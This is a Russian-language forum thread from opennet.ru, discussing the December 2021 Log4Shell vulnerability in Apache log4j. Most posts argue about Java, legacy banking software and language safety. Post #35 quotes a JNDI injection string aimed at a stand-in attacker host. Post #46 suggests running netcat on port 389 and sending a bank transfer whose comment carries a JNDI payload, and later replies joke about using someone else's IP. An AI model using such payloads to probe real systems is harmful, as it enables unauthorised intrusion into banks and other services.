forum.opennet.ru - "Катастрофическая уязвимость в Apache log4j, затрагивающая многие Java-проекты" (150)

"Катастрофическая уязвимость в Apache log4j, затрагивающая многие Java-проекты"

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Катастрофическая уязвимость в Apache log4j, затрагивающая многие Java-проекты"	+/–
Сообщение от opennews (??), 10-Дек-21, 09:23
В Apache log4j, популярном фреймворке для организации ведения логов в Java-приложениях,... Подробнее: https://www.opennet.ru/opennews/art.shtml?num=56319
Ответить \| Правка \| Cообщить модератору

Оглавление

171 катастрофическая 187 , лол, Аноним (1), 09:23 , 10-Дек-21, (1) –11

Ну учитывая где используется Java и как там дела с обновлениями, то действительн, Аноним (4), 09:30 , 10-Дек-21, (4) +28
Не так давно пол-США сидели без бензина и мяса когда ломанули оператора трубопро, Аноним (20), 10:06 , 10-Дек-21, (20) +6
Для того чтобы понять почему катастрофическая запусти у себя netcat на порту 389, Аноним (-), 11:10 , 10-Дек-21, (46) +1

Главное чтобы маски-шоу из категории разного в дверь и окна не полезли , Онаним (?), 11:39 , 10-Дек-21, (54) +8
Поэтому лучше IP конечно не свой , Онаним (?), 11:40 , 10-Дек-21, (55)

И с чужого банковского счёта перевод делать, ага, Аноним (84), 13:19 , 10-Дек-21, (84)

В банках доступ в интернет, да даже в соседний vlan закрыт Так что ищите где-то, Аноним (60), 11:53 , 10-Дек-21, (60)

И как вы online-банком если всё закрыто пользуйтесь Только не говорите, что там, Аноним (68), 12:28 , 10-Дек-21, (68) +2

Да нет, дол-еов тыщи же ж Вспоминая один из самых круто-обинтернетившихся в перв, пох. (?), 08:54 , 11-Дек-21, (137) –1

Чё за поток сознания лол, иди таблеточки пропей, Аноним (175), 02:13 , 27-Дек-21, (175)

Переполнение буфера, говорили они Безопасность, говорили они Позор и срамота , Антонио (??), 09:28 , 10-Дек-21, (2) +13

Простите за моё невежество, но как связаны реализация в языке и нечто криво реал, btrfs (?), 09:43 , 10-Дек-21, (9) +6

Есть свидетели того, которые утверждают, что если убрать риски работы с памятью,, Аноним (11), 09:49 , 10-Дек-21, (11) +30

Простите, но Вы звиздите Никто из них не утверждал, что прям всё само наладитс, Аноним (39), 10:47 , 10-Дек-21, (39)
Там даже обратный эффект, я бы сказал - понижается vulnerability awareness, со в, Онаним (?), 10:54 , 10-Дек-21, (43) +5

Надежда на серебрянопульность инструмента склонна отключать рассудок с весьма пе, Michael Shigorin (ok), 12:30 , 10-Дек-21, (69) –3

Любите вы Миша обобщать, и делать выводы космического масштаба а сами все лето, ыы (?), 16:40 , 10-Дек-21, (114) –1

Эту пулю ещё Фредерик Брукс в 1986-м обобщил , n00by (ok), 17:47 , 10-Дек-21, (123)

Им читать некогде - видеокурсы же есть, Аноним (124), 18:06 , 10-Дек-21, (124)

Раньше надо было срывать стек, писать шелл-код на ассемблере, не ошибиться с адр, Аноним (84), 13:31 , 10-Дек-21, (92) +10

О дивный новый мир , ыы (?), 16:42 , 10-Дек-21, (115)
Можно даже от смузи не отрываться, да, я тоже оценил , Онаним (?), 16:55 , 10-Дек-21, (118) +2
Раньше мистеры Буггерс и Хуккерс предупреждали, что все умеют компелировать спло, n00by (ok), 17:13 , 10-Дек-21, (120)
А ведь скоро придет время, когда они додумаются прикрутить продвинутый искусстве, Аноним (171), 22:20 , 13-Дек-21, (171)

ага, спасибо прямо вот только что проснулся и побежал патчить свои Apple iCloud, Аноним (3), 09:30 , 10-Дек-21, (3) –6
бред какой-то даже если торчит майнкрафт голой ж в инет, ну запишите в логгер, лютый жабби__ (?), 09:43 , 10-Дек-21, (8) –3

А то что почти все банки на Java При чем там лютый legacy, Аноним (4), 09:45 , 10-Дек-21, (10)

ты неправ слышал, что у немцев можно 6-ку встретить, но в рф 8-11 уже почти вез, лютый жабби__ (?), 10:04 , 10-Дек-21, (19)

Там легаси проприетарь, которая возможно уже местами просто не поддерживается, н, Онаним (?), 10:43 , 10-Дек-21, (37) +7

в УдмуртСельхозБанке разве только , лютый жабби__ (?), 12:59 , 10-Дек-21, (77) –3

Неправда, некоторые банки ещё на COBOL, и планируют перейти на модно-молодёжную , йо (?), 10:38 , 10-Дек-21, (34) +2
log4j2 log4jЛютое легаси - это про log4j Если притащили log4j2 , значит, сра, OramahMaalhur (ok), 13:30 , 10-Дек-21, (91) +2

Написал в чате записало в логи взломПроголосовал на мониторинге с NuVotifier, BratishkaErik (ok), 10:29 , 10-Дек-21, (27) +4

Вот и состав преступления , ыы (?), 16:44 , 10-Дек-21, (116) +1

Но как же ж так Ведь жаба же ж - безопастная , пох. (?), 09:51 , 10-Дек-21, (13)

Ни разу не безопасная, Аноним12345 (?), 10:01 , 10-Дек-21, (18) +1

Шо, и указатели можно , Аноним (42), 10:52 , 10-Дек-21, (42)

учитывая что любой объект в джаве - это указатель, то в джаве указатели не прост, aa (?), 11:43 , 10-Дек-21, (56) +3
можно конечно, смотря что а ещё можно утечки памяти нагомнокодить, которые GC н, лютый жабби__ (?), 12:14 , 10-Дек-21, (66) +2

у нас индусы написали автотесты в которых была статичная мапа в который все конт, barracuda92 (ok), 21:49 , 10-Дек-21, (129)

дедики с 64ГБ стоят 3 тыра в месяц я б не работал в такой помойке, где раму жмо, лютый жабби__ (?), 11:49 , 11-Дек-21, (140) –1

Жаба саморефлексаная и полностью динамическая Так что, можно, в общем-то, всё , Наме (?), 11:45 , 13-Дек-21, (167)

Скилл написать небезопасно на каком угодно языке позволяет это преодолеть И не , Котофалк (?), 10:35 , 10-Дек-21, (32) +1
Это не Ява, это log4j , йо (?), 10:41 , 10-Дек-21, (36) +3

Который к сожалению в рот тащит каждый третий проект из двух , Онаним (?), 10:47 , 10-Дек-21, (38)

Ну возьми самый безопасный язык у тебя, как я смею предположить, основываясь на, Аноним (39), 11:01 , 10-Дек-21, (45) +1

Изучите тему и не пишите подобное Задача не решается в общем виде , n00by (ok), 17:22 , 10-Дек-21, (121)

Давайте все усложним, что бы потом все упростить сложными путями , d (??), 10:00 , 10-Дек-21, (16) +3

CODE ls CODE , Michael Shigorin (ok), 12:37 , 10-Дек-21, (74)
Есть мнение, что для отдельно взятой задачи сложность постоянна Вопрос лишь в т, Аноним (133), 22:32 , 10-Дек-21, (133) –1

Это действительно катастрофаС системой можно делать все что угодноЖаба, господа,, Аноним12345 (?), 10:00 , 10-Дек-21, (17) +1

Она как бы опенсорс, господин Ну и причем тут язык и платформа, если дело в либ, Bogdan (??), 18:29 , 10-Дек-21, (125) +1

Да весь код на яве такой дырявый Чтобы передать стрингу или простейший boolean , Аноним (21), 10:09 , 10-Дек-21, (21) –1

Где вы такое последний раз видели И звучит странно Что бы пкередать стрингу , Bogdan (??), 18:31 , 10-Дек-21, (126)

Ох, я не успел сделать новость А вообще это круто 8212 пусть люди поскорее, BratishkaErik (ok), 10:09 , 10-Дек-21, (22) +2
Jndi для лога это точно нужная фича которая должна быть включена у всех по умолч, Аноним (24), 10:11 , 10-Дек-21, (24) +4

Бездумный eval а это по сути своей eval в генерируемом обычно с использованием, Онаним (?), 10:57 , 10-Дек-21, (44) +8

Выполнять логи - это конечно крипота та еще, но, я так понимаю, это ради произво, aa (?), 11:52 , 10-Дек-21, (59) +1

logger isInfoEnabled , OramahMaalhur (ok), 13:35 , 10-Дек-21, (93)

если всё руками делать, то можно и на С писать а тут можно просто сказать логгер, а (?), 15:26 , 11-Дек-21, (146)

При необходимости передавать в логгер помимо строки раннер для нужных запросов , Аноним (158), 05:21 , 13-Дек-21, (158)

Как вариант В PHP легко closure передать В жабе не в курсе, далёк от , Онаним (?), 07:18 , 14-Дек-21, (173)

log4net в безопасности , Аноним (28), 10:29 , 10-Дек-21, (28) –1
Кстати,поищите у себя в логах appdynamics Эксплуатируемо или нет - не знаю, но , пох. (?), 10:31 , 10-Дек-21, (29) +2
У меня вчера stream play на стиме сам без особой причины запустился И начал дви, Аноним (30), 10:31 , 10-Дек-21, (30)
Блин Мои хелловорлды юзают log4j2 Ждем фиксов , DEF (?), 10:35 , 10-Дек-21, (31)
Макаки конечно везде одинаковые, да Это ж надо такую срань в систему логгирова, Онаним (?), 10:40 , 10-Дек-21, (35) +4
По непроверенным данным дыра проявляется в госуслугах и вёбинтерфейсах кучи круп, Аноним (-), 10:49 , 10-Дек-21, (40)

appdynamics, да Страховые из первой десятки туда же так ты американские проверя, пох. (?), 11:15 , 10-Дек-21, (47) +2

А потом пожизненно прячься от выдачи в родных говеньях, Аноня (?), 12:34 , 11-Дек-21, (142) +1

Сбеги в Бриташку и оттуда проверяй , Аноня (?), 12:28 , 11-Дек-21, (141)
Даже в Amazon S3 проявляется, Аноним (158), 05:05 , 13-Дек-21, (157)

Типа безопасные языки Надо было писать на Rust , Аноним (42), 10:51 , 10-Дек-21, (41) –3

как, в нем нет eval Нельзя загрузить в процесс какой-нибудь неожиданный код из, пох. (?), 11:16 , 10-Дек-21, (49) +3

eval нет, а используемые большинством библиотеки для логгирования в ldap не стуч, morphe (?), 13:16 , 10-Дек-21, (82)

тысячигласс проверял, зуб дает А то большинство из нас полагаю о такой нужной и, пох. (?), 13:21 , 10-Дек-21, (87) +2

А в Rust даже нет смысла подобное делатьЗачем в жаве чтение из ldap пихнули в ст, morphe (?), 14:41 , 10-Дек-21, (99) +2

весь прикол в том что оно вовсе не userid получало Оно получало КОД который ис, пох. (?), 15:09 , 10-Дек-21, (101)

Я привёл пример того, как эту фичу задумывалось использовать, эксплуатация выгля, morphe (?), 22:11 , 12-Дек-21, (155)

Так и на яве можно сделать то же самое И вообще как уже сказали суть уязвимости, Аноним (108), 15:29 , 10-Дек-21, (108) +1

Нефига не правильно В ответ на JNDI-запрос исполняющий код не должен грузить кл, Наме (?), 11:10 , 13-Дек-21, (164)

Ага, язык, на котором ты напишешь систему управления атомным реактором, должен б, Аноним (39), 11:26 , 10-Дек-21, (50) +1

Конечно, язык Сейчас так модно разрабатывать - ядерные реакторы, ракеты особен, пох. (?), 13:30 , 10-Дек-21, (90) +2

Пох, как всегда, передергиваешь Язык не должен знать в какой последовательности, Аноним (39), 15:12 , 10-Дек-21, (103)

да-да, во всем виноват, помнити его - автор leftpad Взял и сломал нам весь инте, пох. (?), 15:16 , 10-Дек-21, (105) –2

Да тут не в языке дело Тут чтобы палку-копалку выстругать - изобрели бензопилу, , Онаним (?), 19:42 , 11-Дек-21, (149)
Это где-то около надувания щёк - посмотрите, как мы можем Не зря же есть хорошая, Онаним (?), 19:42 , 11-Дек-21, (150)

да ладно это фон Браун с камрадами изобретали с нуля потом они в качестве трофе, john_erohin (?), 13:10 , 11-Дек-21, (143)

ну так камрады и изобретали Тов Королев и другие ответственные товарищи - руков, пох. (?), 13:32 , 11-Дек-21, (144) –1

будет врать-то союз на старте взрывался протон на старте взрывался раз пять, не, Михрютка (ok), 00:24 , 12-Дек-21, (151)

Приплетаю тот самый Линдукс Тоже ведь торопились к праздничку Интересно, где о, n00by (ok), 12:38 , 12-Дек-21, (153) –1
А Маску - похрен, у него еще есть Бесконечные же ж был бы он предсказуем - п, пох. (?), 08:35 , 13-Дек-21, (160) –1

вы что, знакомы с вопросом исключительно по пересказам товарища рабиновича успет, Михрютка (ok), 16:51 , 13-Дек-21, (168)

Я знаком по пересказам людей, работавших в отрасли А вот у тебя очень похоже на , пох. (?), 17:39 , 13-Дек-21, (170) –1

а я, дяденька, просто кратко вам пересказал доклад близко не бывавших рабино Wчл, Михрютка (ok), 01:19 , 14-Дек-21, (172)

Успагойся, то был просто растотроллинг , Аноним (42), 15:10 , 10-Дек-21, (102)

Ну неприятно испытывать испанский стыд из-за таких петросянов Типа шутка-тролли, Аноним (39), 15:17 , 10-Дек-21, (107) +1

Это не уязвимость Это - бэкдор, подобную функциональность включать в логах , Аноним (48), 11:16 , 10-Дек-21, (48) +2

Это не уязвимость, и не бэкдор Это макакинг А чо Эвал прямо в логе - круто же, Онаним (?), 11:36 , 10-Дек-21, (52) +4
Фреймворк для ведения логов - это звучит крутенько , Онаним (?), 11:50 , 10-Дек-21, (58) +1

глобально и надёжно, mos87 (ok), 12:06 , 10-Дек-21, (61) +3

Надежно можно получать неофициальную информацию от кого угодно Да там таких уяз, Аноним (64), 12:13 , 10-Дек-21, (64)

Вспомнилось https www opennet ru openforum vsluhforumID3 125836 html 85 наде, Michael Shigorin (ok), 13:04 , 10-Дек-21, (78)

Энтерпрайзно Logs-as-a-code , Онаним (?), 16:58 , 10-Дек-21, (119) +2

А вот если бы писали на Хаскеле , Аноним (64), 12:11 , 10-Дек-21, (63)

да с таким же упованием на дело рук человеческих токмо , Michael Shigorin (ok), 13:05 , 10-Дек-21, (79)

Говоря откровенно, Log4j уже лет 10 как не рекомендуется использовать Есть SLF4, Аноним (65), 12:14 , 10-Дек-21, (65)

У нас в рекомендациях от архитектуры всё ровно наоброт, мол slf4j и logback уже , Аноним (67), 12:25 , 10-Дек-21, (67) +1

Если пользоваться Spring, то logback официально рекомендуемый , Аноним (65), 12:45 , 10-Дек-21, (75)

А не надо спрингом пользоваться , Наме (?), 11:15 , 13-Дек-21, (166)

он log4j 1х, это да, 10 лет из танка не вылезал, ELF (ok), 13:25 , 10-Дек-21, (88) +2

ты уверен что во второй версии нет той же самой фичи Не может быть Должны были, пох. (?), 15:16 , 10-Дек-21, (106)

речь как раз про вторую версию - рекомендуемую с дебильной фичей , а первую не , ELF (ok), 16:38 , 10-Дек-21, (113) +1

а, ну вот, теперь мир снова перевернут в нормальное положение В первой может и п, пох. (?), 13:36 , 11-Дек-21, (145)

Есть JUL и его хватает для всего , Наме (?), 11:15 , 13-Дек-21, (165)

Много где slf4j стоит с log4j бекендом, из-за того что много существующих либ ра, morphe (?), 13:21 , 10-Дек-21, (86) +1
Slf4j - по сути фасад, который можно навесить над разными логерами, в т ч log4j, Ololo (?), 16:23 , 10-Дек-21, (111) +1
Глупость, куда твой slf4j логирует Это интерфейс , hohoho (?), 21:55 , 10-Дек-21, (131)

в logback, как выше написано, Аноним (-), 09:42 , 11-Дек-21, (139)

там чтобы уязвимость работали макака должна пользовательскую строку не как парам, Аноним (70), 12:34 , 10-Дек-21, (70) +1

Неа, оно раскрывается уже после подстановки параметров в строку форматированияТ , morphe (?), 13:18 , 10-Дек-21, (83) +1

Самое время задействовать умение настройки firewall Блокируем исходящие соединен, Аноним (72), 12:36 , 10-Дек-21, (72) +1

ой, вендовая сеть легла Кнутователь уже бежит в твою сторону Не, я не советую в, пох. (?), 13:11 , 10-Дек-21, (81) +1
В url можно свой порт передать, никто не заставляет сервер с ldap держать не на , morphe (?), 13:19 , 10-Дек-21, (85) +1

ffuck и что, эта тварь туда и полезет я почти уверен что таки да, к к к код, пох. (?), 15:13 , 10-Дек-21, (104) –1

Причём тут java впринципе Мамкины кодеры любят использовать тонны third-party ф, Аноним (80), 13:06 , 10-Дек-21, (80) +2

молодец, профессионала за версту видно, ELF (ok), 13:28 , 10-Дек-21, (89) +3
А вы таки переизобретаете логгер для критически уязвимой инфраструктуры каждого , OramahMaalhur (ok), 14:11 , 10-Дек-21, (96) +4

Не надо переизобретать логгер Достаточно один раз его написать, и каждый хеллоув, Онаним (?), 21:04 , 10-Дек-21, (127)

Абсолютно да Third party только по абсолютной необходимости, всегда хотя бы с, Онаним (?), 21:05 , 10-Дек-21, (128) +1

Вполне ожидаемо от апача и жавы , Аноним (94), 13:41 , 10-Дек-21, (94)
У бизнеса лог4ж-1 2 массово все эти новые технологии в бизнес не придут еще , IdeaFix (ok), 16:12 , 10-Дек-21, (109) +2
Зато Eclipse после установки лагина приходится перезапускать , n00by (ok), 17:41 , 10-Дек-21, (122)
В статье не упоминается что уязвимость в PatternLayout Если вы используете друг, hohoho (?), 21:59 , 10-Дек-21, (132)
Вспоминается та недавняя уявзимость в imagemagick Тоже ходило в интернет куда с, Аноним (134), 22:46 , 10-Дек-21, (134)

По хорошему такого поведения без лишних телодвижений быть не должно и предупрежд, Аноним (136), 03:33 , 11-Дек-21, (136) +1

На жабе не пишу, но недавно приходилось прикручивать кое-какие поделки через JNI, Аноним (-), 23:07 , 10-Дек-21, (135) –1

Не читай ту глупую мурзилку больше Жабу ждет судьба кобола возведенного в фактор, пох. (?), 09:04 , 11-Дек-21, (138) –1

Вот уж действительно все плохо там у вас Не, снова учить всякую каку это уж слиш, Аноним (-), 03:14 , 13-Дек-21, (156) +1

Программистам на Коболе так и не стали платить заоблачные зарплаты, Аноним (84), 16:06 , 11-Дек-21, (147)

В России Конечно не платят, откуда в ней софт на Коблое В США к примеру - пл, _ (??), 03:45 , 12-Дек-21, (152) +2

будут эмулировать Квалификация исчезает быстрее мэйнфреймов, поэтому переписать, пох. (?), 08:28 , 13-Дек-21, (159) –1
Облака медленные и данные из мэнфрейма перенести это как на луну в очередной раз, Наме (?), 10:32 , 13-Дек-21, (163)

Весь мир в труху, абсурд, коррупцию, хаос и скайнеты PS Java - и пусть весь м, InuYasha (??), 17:12 , 11-Дек-21, (148)
катастрофическая, spanjokus (ok), 17:13 , 12-Дек-21, (154)
log4j всегда был индуским шлаком Надо быть без башки, чтобы его использовать в , Наме (?), 10:24 , 13-Дек-21, (161)
А файрвол не JNDI-запросы наружу это как-то вызывает вопросы, мягко скажем , Наме (?), 10:30 , 13-Дек-21, (162)
В теории, если в java security настроено разрешение загрузки классов только из р, shricke (??), 17:37 , 13-Дек-21, (169) +1
А все потому, что не на растишке написан , szt1980 (ok), 00:02 , 17-Дек-21, (174) –1

Сообщения [Сортировка по ответам | RSS]

1. Сообщение от Аноним (1), 10-Дек-21, 09:23 –11 +/–

«катастрофическая», лол

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #4, #20, #46

2. Сообщение от Антонио (??), 10-Дек-21, 09:28 +13 +/–

Переполнение буфера, говорили они. Безопасность, говорили они. Позор и срамота.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #9, #92

3. Сообщение от Аноним (3), 10-Дек-21, 09:30 –6 +/–

ага, спасибо. прямо вот только что проснулся и побежал патчить свои Apple iCloud - сервера

Ответить | Правка | Наверх | Cообщить модератору

4. Сообщение от Аноним (4), 10-Дек-21, 09:30 +28 +/–

Ну учитывая где используется Java и как там дела с обновлениями, то действительно все печально

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

8. Сообщение от лютый жабби__ (?), 10-Дек-21, 09:43 –3 +/–

бред какой-то... даже если торчит майнкрафт голой ж в инет, ну запишите в логгер произвольный текст, я посмотрю на ваши успехи )
"Надо срочно переписать на ржаву"
твои мозги )

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #10, #27

9. Сообщение от btrfs (?), 10-Дек-21, 09:43 +6 +/–

Простите за моё невежество, но как связаны реализация в языке и нечто криво реализованное на этом языке?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #11, #69

10. Сообщение от Аноним (4), 10-Дек-21, 09:45 +/–

А то что почти все банки на Java? При чем там лютый legacy

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8 Ответы: #19, #34, #91

11. Сообщение от Аноним (11), 10-Дек-21, 09:49 +30 +/–

Есть свидетели того, которые утверждают, что если убрать риски работы с памятью, то всё само наладится, и даже кости выпрямятся.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #9 Ответы: #39, #43

13. Сообщение от пох. (?), 10-Дек-21, 09:51 +/–

Но как же ж так? Ведь жаба же ж - безопастная?!

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #18, #32, #36, #45

16. Сообщение от d (??), 10-Дек-21, 10:00 +3 +/–

Давайте все усложним, что бы потом все упростить сложными путями.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #74, #133

17. Сообщение от Аноним12345 (?), 10-Дек-21, 10:00 +1 +/–

>> Возвращённый сервером атакующего путь будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.
Это действительно катастрофа
С системой можно делать все что угодно
Жаба, господа, та самая проприетарная жаба

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #125

18. Сообщение от Аноним12345 (?), 10-Дек-21, 10:01 +1 +/–

Ни разу не безопасная

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #42

19. Сообщение от лютый жабби__ (?), 10-Дек-21, 10:04 +/–

>При чем там лютый legacy
ты неправ. слышал, что у немцев можно 6-ку встретить, но в рф 8-11 уже почти везде. у всяких тупкофф-кредитно-пельменные-системы 17 + коклины, скалы, го и прочая смузибень ) уж версию log4j бампнуть не проблема.... хотя для типичного
e.printStackTrace();
данная "уязвимость" имхо неуязвима

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10 Ответы: #37

20. Сообщение от Аноним (20), 10-Дек-21, 10:06 +6 +/–

Не так давно пол-США сидели без бензина и мяса когда ломанули оператора трубопроводной сети и оператора сети мясокомбинатов. А на яве написано допупа бизнес-логики.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

21. Сообщение от Аноним (21), 10-Дек-21, 10:09 –1 +/–

Да весь код на яве такой дырявый. Чтобы передать стрингу или простейший boolean сразу используют RPC с уродским RMI

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #126

22. Сообщение от BratishkaErik (ok), 10-Дек-21, 10:09 +2 +/–

Ох, я не успел сделать новость... А вообще это круто — пусть люди поскорее узнают новость

Ответить | Правка | Наверх | Cообщить модератору

24. Сообщение от Аноним (24), 10-Дек-21, 10:11 +4 +/–

Jndi для лога это точно нужная фича которая должна быть включена у всех по умолчанию? Может быть нафиг её?
И вообще сетевые запросы отправлять в логе не выглядит безопасно.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #44

27. Сообщение от BratishkaErik (ok), 10-Дек-21, 10:29 +4 +/–

Написал в чате > записало в логи > взлом
Проголосовал на мониторинге с NuVotifier > записало в логи > взлом

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #8 Ответы: #116

28. Сообщение от Аноним (28), 10-Дек-21, 10:29 –1 +/–

log4net в безопасности?

Ответить | Правка | Наверх | Cообщить модератору

29. Сообщение от пох. (?), 10-Дек-21, 10:31 +2 +/–

Кстати,поищите у себя в логах appdynamics. Эксплуатируемо или нет - не знаю, но им пользуется половина так называемого цивилизованного мира. Да, оно работает от рута.
Да, конечно же там log4j, где ж его теперь нет.

Ответить | Правка | Наверх | Cообщить модератору

30. Сообщение от Аноним (30), 10-Дек-21, 10:31 +/–

У меня вчера stream play на стиме сам без особой причины запустился. И начал двигать мышью и открыл виртуальную клаву Steam. у меня есть основания полагать что уже активно юзают это чудо.

Ответить | Правка | Наверх | Cообщить модератору

31. Сообщение от DEF (?), 10-Дек-21, 10:35 +/–

Блин. Мои хелловорлды юзают log4j2. Ждем фиксов!

Ответить | Правка | Наверх | Cообщить модератору

32. Сообщение от Котофалк (?), 10-Дек-21, 10:35 +1 +/–

Скилл написать небезопасно на каком угодно языке позволяет это преодолеть. И не только это. Тут как нельзя кстати набор поговорок про сломать сдуру, про стеклянный до обеда и иже с ними.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13

34. Сообщение от йо (?), 10-Дек-21, 10:38 +2 +/–

Неправда, некоторые банки ещё на COBOL, и планируют перейти на модно-молодёжную Java.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #10

35. Сообщение от Онаним (?), 10-Дек-21, 10:40 +4 +/–

>  "${jndi:ldap://attacker.com/a}", при обработке которой log4j отправит на сервер attacker.com LDAP-запрос пути к Java-классу
Макаки конечно везде одинаковые, да...
Это ж надо такую срань в систему логгирования воткнуть.
А вот просто ${var} и передачу var отдельно - ну никак было.

Ответить | Правка | Наверх | Cообщить модератору

36. Сообщение от йо (?), 10-Дек-21, 10:41 +3 +/–

Это не Ява, это log4j.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #38

37. Сообщение от Онаним (?), 10-Дек-21, 10:43 +7 +/–

Там легаси проприетарь, которая возможно уже местами просто не поддерживается, но сертифицировать новую версию ДОРОГО(tm). И бампнуть там ничего не получится либо потому что все версии библиотек тоже прибиты гвоздями по сертификации, либо потому, что API сменилось 100500 лет назад тому, и говно мамонта просто развалится.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #19 Ответы: #77

38. Сообщение от Онаним (?), 10-Дек-21, 10:47 +/–

Который к сожалению в рот тащит каждый третий проект из двух.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36

39. Сообщение от Аноним (39), 10-Дек-21, 10:47 +/–

Простите, но Вы звиздите. Никто из них не утверждал, что прям "всё само наладится". Исчезнут (почти) целые классы ошибок, коих большинство (70-80%), но логические ошибки в архитектуре системы или в реализации бизнес-логики никто не отменял - от прокладки зависит. Но Вы, конечно, припИшете оппонентам и поедание младенцев, хуже не будет, верно?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #11

40. Сообщение от Аноним (-), 10-Дек-21, 10:49 +/–

По непроверенным данным дыра проявляется в госуслугах и вёбинтерфейсах кучи крупных банков. Лично перепроверить не решился, так как за такую проверку и посадить могут.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #47, #141, #157

41. Сообщение от Аноним (42), 10-Дек-21, 10:51 –3 +/–

Типа безопасные языки. Надо было писать на Rust :)

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #49, #50

42. Сообщение от Аноним (42), 10-Дек-21, 10:52 +/–

Шо, и указатели можно?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #18 Ответы: #56, #66, #167

43. Сообщение от Онаним (?), 10-Дек-21, 10:54 +5 +/–

Там даже обратный эффект, я бы сказал - понижается vulnerability awareness, со всеми вытекающими.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #11

44. Сообщение от Онаним (?), 10-Дек-21, 10:57 +8 +/–

Бездумный eval (а это по сути своей eval) в генерируемом обычно с использованием пользовательского ввода логе - это особый уровень пох**зма, который, надо сказать, очень сложно будет переплюнуть.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #24 Ответы: #59

45. Сообщение от Аноним (39), 10-Дек-21, 11:01 +1 +/–

Ну возьми самый безопасный язык (у тебя, как я смею предположить, основываясь на твоем творчество на опеннете, это сиплюсплюс со всякими модными  (условно) "умными указателями" и правильными техниками написания кода настоящими программистами?) и напиши на нем безусловную загрузку извне любой произвольной блобятины и ее последующий запуск и потом ори - "язык небезопасный, мне вирусятину тиснул!". А если каким-то чудом язык мог бы запретить такое делать, орал бы "что за 1С мне навязывают, на этом гогне ничего нетривиального нельзя сделать!"

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #121

46. Сообщение от Аноним (-), 10-Дек-21, 11:10 +1 +/–

Для того чтобы понять почему катастрофическая запусти у себя netcat на порту 389, отправь на карту или счёт в другом банке любой перевод с  ${jndi:ldap://твой_IP/test} в комментарии и насладись сколько вего разного к тебе полезет :-)

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #54, #55, #60

47. Сообщение от пох. (?), 10-Дек-21, 11:15 +2 +/–

> По непроверенным данным дыра проявляется в госуслугах и вёбинтерфейсах кучи крупных банков.
appdynamics, да.
Страховые из первой десятки туда же.
> Лично перепроверить не решился, так как за такую проверку и посадить могут.
так ты американские "проверяй". Там апдырявикс такой же точно стоит. И в банках, и в страховых, и вообще в любых околофинансовых пира...ой, организациях.
Что ты с таким умением и талантом забыл на г0вуслугах?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #40 Ответы: #142

48. Сообщение от Аноним (48), 10-Дек-21, 11:16 +2 +/–

Это не уязвимость. Это - бэкдор, подобную функциональность включать в логах.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #52, #58

49. Сообщение от пох. (?), 10-Дек-21, 11:16 +3 +/–

> Типа безопасные языки. Надо было писать на Rust :)
как, в нем нет eval?! Нельзя загрузить в процесс какой-нибудь неожиданный код из интересного источника? А если unsafe{} вокруг написать?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #41 Ответы: #82

50. Сообщение от Аноним (39), 10-Дек-21, 11:26 +1 +/–

Ага, язык, на котором ты напишешь систему управления атомным реактором, должен будет бить тебя по рукам, когда ты в неправильной последовательности кнопки в программе будешь нажимать. А также язык, а не математик/архитектор/программист, посредством заложенных алгоритмов, должен будет следить чтобы в космической ракете ориентация правильно вычислялась. Ну и язык конечно же, а не проектировщик системы при создании, должен следить, чтобы в будущем "умном" доильном аппарате корове сиську не оторвало. Как же вы, мелкие моськи, недалёки...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #41 Ответы: #90, #102

52. Сообщение от Онаним (?), 10-Дек-21, 11:36 +4 +/–

Это не уязвимость, и не бэкдор. Это макакинг. А чо. Эвал прямо в логе - круто же, смотрите как мы можем, удобно, трендово, смузи, вейп...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #48

54. Сообщение от Онаним (?), 10-Дек-21, 11:39 +8 +/–

Главное чтобы маски-шоу из категории разного в дверь и окна не полезли.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #46

55. Сообщение от Онаним (?), 10-Дек-21, 11:40 +/–

Поэтому лучше IP конечно не свой :)

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #46 Ответы: #84

56. Сообщение от aa (?), 10-Дек-21, 11:43 +3 +/–

учитывая что любой объект в джаве - это указатель, то в джаве указатели не просто можно , а прям необходимо.
вот арифметики указателей нету, поэтому обратиться куда-то по левому адресу сложно.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42

58. Сообщение от Онаним (?), 10-Дек-21, 11:50 +1 +/–

"Фреймворк для ведения логов" - это звучит крутенько.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #48

59. Сообщение от aa (?), 10-Дек-21, 11:52 +1 +/–

